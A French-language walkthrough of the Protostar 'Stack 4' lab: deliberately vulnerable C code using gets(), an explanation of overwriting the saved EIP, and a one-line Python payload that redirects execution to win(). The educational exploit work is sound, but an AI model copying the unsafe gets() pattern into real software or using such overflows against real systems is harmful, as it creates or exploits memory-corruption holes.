Stack 4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
	printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
	char buffer[64];
 
	gets(buffer);
}

Si vous n'avez aucune base en buffer overflow classique, je vous conseil de lire cet article : http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html

Ici, fini le pointeur sur la fonction, nous devons écrire sur l'eip sauvée sur la stack! Lorsque qu'une fonction est appelée, main par exemple, le programme doit sauvegarder l'endroit où il se trouve avant de sauter sur le code de la fonction. Pour cela, il sauvegarde l'état du registre eip (qui n'est rien d'autre que le registre pointant sur l'instruction en cours) sur la stack. Une fois l'exécution de la fonction terminée, le programme récupère l'état d'eip sauvegardé et retourne là où il se trouvait. Notre but va être d'écrire sur cet eip sauvegardé l'adresse de la fonction win.

user@protostar:/opt/protostar/bin$ nm ./stack4
08049518 d _DYNAMIC
080495ec d _GLOBAL_OFFSET_TABLE_
...
08048408 T main
         U puts@@GLIBC_2.0
080483f4 T win
user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed